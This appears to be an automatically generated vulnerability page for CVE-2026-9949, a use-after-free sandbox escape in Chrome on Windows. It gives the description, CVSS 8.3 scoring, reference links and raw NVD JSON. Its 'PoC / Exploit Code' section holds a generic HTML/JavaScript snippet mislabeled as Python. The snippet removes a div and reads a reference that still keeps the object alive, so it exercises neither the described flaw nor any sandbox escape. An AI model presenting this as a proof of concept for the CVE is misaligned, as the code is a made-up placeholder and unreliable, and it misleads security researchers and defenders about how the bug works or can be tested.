CVE-2026-9949

Description

Use after free in Core in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome for Desktop < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9949 (Conceptual Use-After-Free)
This is a generic template demonstrating the UAF trigger structure.
Specific memory layout depends on the Chrome build version.
-->
<html>
<body>
<script>
// Step 1: Create a vulnerable object
let vulnerable_obj = document.createElement('div');

// Step 2: Store reference for later use
let saved_ref = vulnerable_obj;

// Step 3: Trigger the free operation (Simulated)
vulnerable_obj.remove();
vulnerable_obj = null;

// Step 4: Garbage Collection attempt (Optional, timing dependent)
if (window.gc) {
    window.gc();
}

// Step 5: Attempt to use the freed memory (UAF trigger)
// In a real exploit, this would be manipulated to control execution flow
try {
    console.log(saved_ref.innerHTML);
} catch (e) {
    console.log("UAF trigger failed or object not usable as expected");
}
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9949
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9949
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9949/
[4] VulDB https://vuldb.com/cve/CVE-2026-9949
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/503793153

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9949", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:53.050", "lastModified": "2026-05-29T15:16:26.383", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Core in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/503793153", "source": "[email protected]"}]}}